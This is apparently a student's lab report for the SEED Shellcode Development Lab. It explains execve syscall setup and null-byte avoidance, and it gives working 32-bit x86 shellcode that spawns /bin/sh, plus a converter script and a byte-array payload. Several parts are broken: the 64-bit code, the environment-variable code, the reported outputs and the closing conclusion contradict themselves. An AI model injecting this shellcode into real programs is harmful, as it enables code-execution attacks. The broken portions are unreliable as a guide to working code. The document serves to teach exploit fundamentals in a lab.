Arvind Sai Dooda 20553046

Shellcode Development Lab

2 Task 1: Writing Shellcode

Here the most essential parts of writing shellcode to execute a program like /bin/sh:

1. Using the execve() System Call:

Shellcoder's main job is to use a system call called execve() to run a program, typically a shell like /bin/sh. To do this, we need to set up four important registers:

eax: Think of this as a code that tells the computer what we want to do. We set it to 11, which means "please execute a program."
ebx: This holds the location (address) of the program we want to run, like "/bin/sh".
ecx: This holds the address of an array that tells the program being executed what its arguments are. For example, the first element might point to "/bin/sh", and the second element is typically 0, which marks the end of the array.
edx: This holds the address of any environment variables we want to pass to the new program. If we don't need to pass any, we can set it to 0.

Writing shellcode poses a couple of challenges. One challenge is ensuring that the shellcode doesn't contain any zeros, and the other is determining the addresses of the data used in the command.

Solving the first challenge, which is avoiding zeros, is relatively manageable and can be accomplished in various ways.

The second challenge has led to two common approaches for writing shellcode:

Stack Approach: In this approach, data is placed onto the stack during execution. This allows us to retrieve their addresses from the stack pointer. This method is useful when we need to create data dynamically.

Code Region Approach: Here, data is stored within the code section of the program, immediately following a call instruction. When the call instruction is executed, the address of the data is treated as if it were the return address and is subsequently pushed onto the stack.

FIRST CHALLENGE:

1.b Eliminating zeros from the code

Shellcode which is commonly used in buffer-overflow attacks, which often target vulnerabilities caused by string copy functions like strcpy(). These functions interpret a zero as the end of a string. If there's a zero within a shellcode, these functions will stop copying data after encountering it, limiting the success of the attack. Thus, it's crucial for shellcode to avoid any zeros in its machine code.

Here are some methods to eliminate zeros from shellcode:

Zero Assignment to Register: If we need to set a register like eax to zero, directly using mov eax, 0 would introduce a zero in the machine code. A common workaround is to use xor eax, eax, which effectively clears eax without introducing zeros.

Storing Non-zero Values: If we want to store a non-zero value like 0x00000099 in eax, directly using mov eax, 0x99 would introduce three zeros. To address this, you can first set eax to zero and then assign the one-byte value 0x99 to the least significant 8 bits of eax, which is the al register.

Using Shift Operations: In some cases, we can employ shift operations to manipulate data. For example, if you have the value 0x237A7978 in ebx, where each byte corresponds to the ASCII values of 'x', 'y', 'z', and '#', respectively, you can work around the zero issue. This is possible because most Intel CPUs use little-endian byte order, meaning the least significant byte ('x' in this case) is stored at the lower address. This way, you can present the value as 0x237A7978 without zeros, which can be observed when disassembling the code using tools like objdump.

- **Tak 2 : 1.A Using stack we can solve easily**

```
section .text
  global _start
    _start:
      ; Store the argument string on stack
      xor  eax, eax
      push eax          ; Use 0 to terminate the string
      push "//sh"
      push "/bin"
      mov  ebx, esp     ; Get the string address

      ; Construct the argument array argv[]
      push eax          ; argv[1] = 0
      push ebx          ; argv[0] points "/bin//sh"
      mov  ecx, esp     ; Get the address of argv[]

      ; For environment variable
      xor  edx, edx     ; No env variables

      ; Invoke execve()
      xor  eax, eax     ; eax = 0x00000000
      mov   al, 0x0b    ; eax = 0x0000000b
      int 0x80

```

First, we push a null value (using xor eax, eax followed by push eax) onto the stack. Then, we push "//sh" and "/bin" onto the stack. It's important to note that the push instruction operates on 32-bit values. Therefore, we use the redundant "/" to ensure that "sh" is 32 bits in length.
Now, we need to ensure that the ebx register contains the address of the command string "/bin/sh." To do this, we use the command mov ebx, esp.
After pushing the command onto the stack, we proceed to construct the argument array argv[]. In this case, we don't have any command-line variables, so argv[0] points to "/bin/sh," and argv[1] indicates the end of the command. As

mentioned earlier, ecx should contain the address of the argument array, so we set ecx to esp using mov ecx, esp.

As there are no environment variables in use, we set edx to null by executing xor edx, edx.

Now, we're ready to invoke the execve system call. We clear eax using xor eax, eax and then set al to 0xb, which corresponds to the execve system call. Finally, we trigger the system call by using int 0x80, which is essentially a call to the kernel.

To convert our code file into an object file and then into an executable binary to extract the machine code (shellcode), we follow these steps:

Convert the program file to an object file using the command:

Command 1:

nasm -f elf32 mysh.s -o mysh.o

Command 2 :

ld mysh.o -o mysh

```
seed@VM: ~/.../shellcode-Labsetup
[09/04/23]seed@VM:~/.../Seedlab$ ls
'Labsetup - 1'   shellcode-Labsetup
[09/04/23]seed@VM:~/.../Seedlab$ cd shellcode-Labsetup
[09/04/23]seed@VM:~/.../shellcode-Labsetup$ ls
convert.py  mysh   mysh2.o  mysh_64    mysh_64.s  mysh.s
Makefile    mysh2  mysh2.s  mysh_64.o  mysh.o
[09/04/23]seed@VM:~/.../shellcode-Labsetup$ nasm -f elf32 mysh.s -o mysh.o
[09/04/23]seed@VM:~/.../shellcode-Labsetup$ ld -m elf_i386 mysh.o -o mysh
[09/04/23]seed@VM:~/.../shellcode-Labsetup$ echo $$
3530
[09/04/23]seed@VM:~/.../shellcode-Labsetup$ mysh
sh-5.0$ echo $$
5628
sh-5.0$ exit
exit
[09/04/23]seed@VM:~/.../shellcode-Labsetup$ objdump -Mintel --disassemble mysh.o

mysh.o:     file format elf32-i386


Disassembly of section .text:

00000000 <_start>:
   0:   31 c0                   xor    eax,eax
   2:   50                      push   eax
   3:   68 2f 2f 73 68          push   0x68732f2f
   8:   68 2f 62 69 6e          push   0x6e69622f
   d:   89 e3                   mov    ebx,esp
   f:   50                      push   eax
  10:   53                      push   ebx
  11:   89 e1                   mov    ecx,esp
  13:   31 d2                   xor    edx,edx
  15:   31 c0                   xor    eax,eax
  17:   b0 0b                   mov    al,0xb
  19:   cd 80                   int    0x80
```

As for the code mentioned here in the pdf we will copy the code in the code convert.py.

```
# Run "xxd -p -c 20 mysh.o", and
# copy and paste the machine code part to the following:
ori_sh ="""
31db31c0b0d5cd80
31c050682f2f7368682f62696e89e3505389e131
d231c0b00bcd80
"""

sh = ori_sh.replace("\n", "")

length  = int(len(sh)/2)
print("Length of the shellcode: {}".format(length))
s = 'shellcode= (\n' + '   "'
for i in range(length):
    s += "\\x" + sh[2*i] + sh[2*i+1]
    if i > 0 and i % 16 == 15:
       s += '"\n' + '   "'
s += '"\n' + ").encode('latin-1')"
print(s)
```

The `convert.py` program will print out the following Python code that you can include in your attack code. It stores the shellcode in a Python array.

```
[09/04/23]seed@VM:~/.../shellcode-Labsetup$ xxd -p -c 20 mysh.o
7f454c4601010100000000000000000001000300
0100000000000000000000004000000000000000
3400000000002800050002000000000000000000
0000000000000000000000000000000000000000
0000000000000000000000000000000000000000
0000000001000000010000000600000000000000
100100001b000000000000000000000001000000
0000000007000000030000000000000000000000
3001000021000000000000000000000001000000
0000000011000000020000000000000000000000
6001000040000000040000000300000004000000
1000000019000000030000000000000000000000
a00100000f000000000000000000000001000000
00000000000000000000000031c050682f2f7368
682f62696e89e3505389e131d231c0b00bcd8000
00000000002e74657874002e7368737472746162
002e73796d746162002e73747274616200000000
0000000000000000000000000000000000000000
0000000000000000010000000000000000000000
0400f1ff000000000000000000000000003000100
080000000000000000000000100001000006d7973
682e73005f73746172740000
[09/04/23]seed@VM:~/.../shellcode-Labsetup$ ./convert.py
Length of the shellcode: 35
shellcode= (
   "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
   "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0"
   "\x0b\xcd\x80"
).encode('latin-1')
[09/04/23]seed@VM:~/.../shellcode-Labsetup$
```

After running the **convert.py** after modifying the code it gives the shell code in array form.

2.4 Task 1.d. Providing Environment Variables for execve()

```
section .text
  global _start
    _start:
      ; Store the argument string on stack
      xor  eax, eax
      push eax          ; Use 0 to terminate the string
      push "//sh"
      push "/bin"
      mov  ebx, esp     ; Get the string address

      xor eax, eax
      push eax
      push "-ccc"
      mov eax, esp

      xor edx, edx
      push edx
      push "--la"
      push "/bin"
      mov eax, esp


      ; Construct the argument array argv[]
      xor ecx, ecx
      push ecx
      push eax          ; argv[1] = 0
      push ebx          ; argv[0] points "/bin//sh"
      mov  ecx, esp     ; Get the address of argv[]

      ; For environment variable
      xor  edx, edx     ; No env variables

      ; Invoke execve()
      xor  eax, eax     ; eax = 0x00000000
      mov   al, 0x0b    ; eax = 0x0000000b
      int 0x80
```

Code was modified as myenv.s

3. Task 2: Using Code Segment

As we can see from the shellcode in Task 1, the way how it solves the data address problem is that it dynamically constructs all the necessary data structures on the stack, so their addresses can be obtained from the stack pointer `esp`.

There is another approach to solve the same problem, i.e., getting the address of all the necessary data structures. In this approach, data are stored in the code region, and its address is obtained via the function call mechanism. Let's look at the following code.

Listing 3: `mysh2.s`

```
section .text
  global _start
    _start:
        BITS 32
        jmp short two
    one:
        pop ebx                        ❶
        xor eax, eax
        mov [ebx+7],  al  ; save 0x00 (1 byte) to memory at address ebx+7
        mov [ebx+8],  ebx ; save ebx (4 bytes) to memory at address ebx+8
```



```
        mov [ebx+12], eax ; save eax (4 bytes) to memory at address ebx+12
        lea ecx, [ebx+8]  ; let ecx = ebx + 8
        xor edx, edx
        mov al,  0x0b
        int 0x80
     two:
        call one
        db '/bin/sh*AAAABBBB' ;  ❷
```

In the provided code, there's a sequence of jumps and calls that serve a specific purpose. It starts with a jump to the instruction at location two which in turn performs another jump to location one, but this time, it uses the "call" instruction.

The "call" instruction is typically used for function calls. Before jumping to the target location, it records the address of the next instruction as the return address. This return address is essential because when the called function completes its execution, it needs to know where to return, which is right after the "call" instruction.

```
section .text
  global _start
    _start:
        BITS 32
        jmp short two
    one:
        pop ebx
        xor eax, eax
        mov [ebx+7], al
        mov [ebx+8], ebx
        mov [ebx+12], eax
        lea ecx, [ebx+8]
        xor edx, edx
        mov al,  0x0b
        int 0x80
     two:
        call one
        db '/bin/sh*AAAABBBB'
```

Tasks. You need to do the followings: (1) Please provide a detailed explanation for each line of the code ir `mysh2.s`, starting from the line labeled `one`. Please explain why this code would successfully execute th `/bin/sh` program, how the `argv[]` array is constructed, etc. (2) Please use the technique from `mysh2.s` to implement a new shellcode, so it executes `/usr/bin/env`, and it prints out the following environmen variables:

```
a=11
b=22
```

Code explanation:

The provided code is designed to execute shellcode stored in the code region. It follows a specific flow:

Initially, it jumps to the instruction at location two.

At location two, there's another jump to location one, this time using the call instruction. The call instruction prepares for a function call by saving the address of the next instruction (the string) as the return address.

Right after the call instruction (Line ❷), there's a string stored. While this might not appear as an instruction, the call instruction pushes its address (the string's address) into the stack, treating it as the return address.

When the program enters the function (after jumping to location one), the top of the stack contains the return address. The pop ebx instruction (Line ❶) retrieves this address and stores it in the ebx register, obtaining the address of the string.

With the address of the string obtained, the code proceeds to dynamically construct the necessary data structures inside this string placeholder.

Finally, the code triggers a system call (syscall) using int 0x80 to execute the shellcode with the specified arguments and environment variables.

We are going to run this code **mysh2.s**

```
seed@VM: ~/.../shellcode-Labsetup
[09/04/23]seed@VM:~/.../shellcode-Labsetup$ nasm -f elf32 mysh2.s -o mysh2.o
[09/04/23]seed@VM:~/.../shellcode-Labsetup$ ld --omagic -m elf_i386 mysh2.o -o mysh2
[09/04/23]seed@VM:~/.../shellcode-Labsetup$ ./mysh2
a=11
b=12
```

4. Task 3: Writing 64-bit Shellcode

Task. Repeat Task 1.b for this 64-bit shellcode. Namely, instead of executing "`/bin/sh`", we need to execute "`/bin/bash`", and we are not allowed to use any redundant `/` in the command string, i.e., the length of the command must be 9 bytes (`/bin/bash`). Please demonstrate how you can do that. In addition to showing that you can get a bash shell, you also need to show that there is no zero in your code.

First Replaced the string "/bin//sh" with "/bin/bash". Make sure the length of the new string is 9 bytes exactly.

Update the registers and system call number accordingly.

*Untitled Document 1 | *mysh_64.s

```
section .text
  global _start
    _start:
      ; The following code calls execve("/bin/bash", ...)
      xor  rdx, rdx       ; 3rd argument
      push rdx
      mov rax,'/bin//bash'
      push rax
      mov rdi, rsp        ; 1st argument
      push rdx
      push rdi
      mov rsi, rsp        ; 2nd argument
      xor  rax, rax
      mov al, 0x3b        ; execve()
      syscall
```

Here's the modified 64-bit shellcode to execute "/bin/bash":

We clear the rdx register to prepare for the null argument array for the environment.

We set rax to 59, which is the syscall number for execve on x86_64.

We load the address of the "/bin/bash" command string into rdi.

We load the address of the argument array into rsi. The argument array contains two elements: the "/bin/bash" string and a null pointer (to mark the end of the array).

Finally, we execute the syscall to invoke execve("/bin/bash", ...), which will start a new bash shell.

```
[09/05/23]seed@VM:~/.../Seedlab$ cd shellcode-Labsetup
[09/05/23]seed@VM:~/.../shellcode-Labsetup$ ls
convert.py  mysh   mysh2.o  mysh_64.s  mysh.s          sys.o
Makefile    mysh2  mysh2.s  mysh.o     sample.py.save  sys.s
[09/05/23]seed@VM:~/.../shellcode-Labsetup$ nasm -f elf64 mysh_64.s -o mysh_64.o
mysh_64.s:7: warning: character constant too long [-w+other]
[09/05/23]seed@VM:~/.../shellcode-Labsetup$ ld mysh_64.o -o mysh_64
[09/05/23]seed@VM:~/.../shellcode-Labsetup$ echo $$
9301
[09/05/23]seed@VM:~/.../shellcode-Labsetup$ mysh_64
Segmentation fault
[09/05/23]seed@VM:~/.../shellcode-Labsetup$ echo $$
9301
[09/05/23]seed@VM:~/.../shellcode-Labsetup$ objdump -Mintel --disassemble mysh_64.o

mysh_64.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <_start>:
   0:   48 31 d2                xor    rdx,rdx
   3:   52                      push   rdx
   4:   48 b8 2f 62 69 6e 2f    movabs rax,0x61622f2f6e69622f
   b:   2f 62 61
   e:   50                      push   rax
   f:   48 89 e7                mov    rdi,rsp
  12:   52                      push   rdx
  13:   57                      push   rdi
  14:   48 89 e6                mov    rsi,rsp
  17:   48 31 c0                xor    rax,rax
  1a:   b0 3b                   mov    al,0x3b
  1c:   0f 05                   syscall
```

```
[09/05/23]seed@VM:~/.../shellcode-Labsetup$ xxd -p -c 20 mysh_64.o
7f454c460201010000000000000000000001003e00
0100000000000000000000000000000000000000
4000000000000000000000004000000000004000
0500020000000000000000000000000000000000
0000000000000000000000000000000000000000
0000000000000000000000000000000000000000
0000000000000000010000000100000006000000
0000000000000000000000008001000000000000
1e0000000000000000000000000000000100000000
0000000000000000000000000700000003000000
00000000000000000000000000000000a0010000
0000000021000000000000000000000000000000
0100000000000000000000000000000011000000
0200000000000000000000000000000000000000
d001000000000000060000000000000004000000
0300000008000000000000001800000000000000
1900000003000000000000000000000000000000
0000000030020000000000001200000000000000
0000000000000000010000000000000000000000
000000004831d25248b82f62696e2f2f62615048
89e752574889e64831c0b03b0f050000002e7465
7874002e7368737472746162002e73796d746162
002e737472746162000000000000000000000000
0000000000000000000000000000000000000000
0000000000000000010000000400f1ff00000000
0000000000000000000000000000000003000100
000000000000000000000000000000000b000000
1000010000000000000000000000000000000000
006d7973685f36342e73005f7374617274000000
000000000000000000000000
```

As Mentioned in task 2 and 1.b we used the same code with the bash modified and executed

```
[09/05/23]seed@VM:~/.../shellcode-Labsetup$ ./task4.py
Length of the shellcode: 12
shellcode= (
   "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80\xd2\x31\xc0\xb0"
).encode('latin-1')
[09/05/23]seed@VM:~/.../shellcode-Labsetup$ 
```

We got zero finally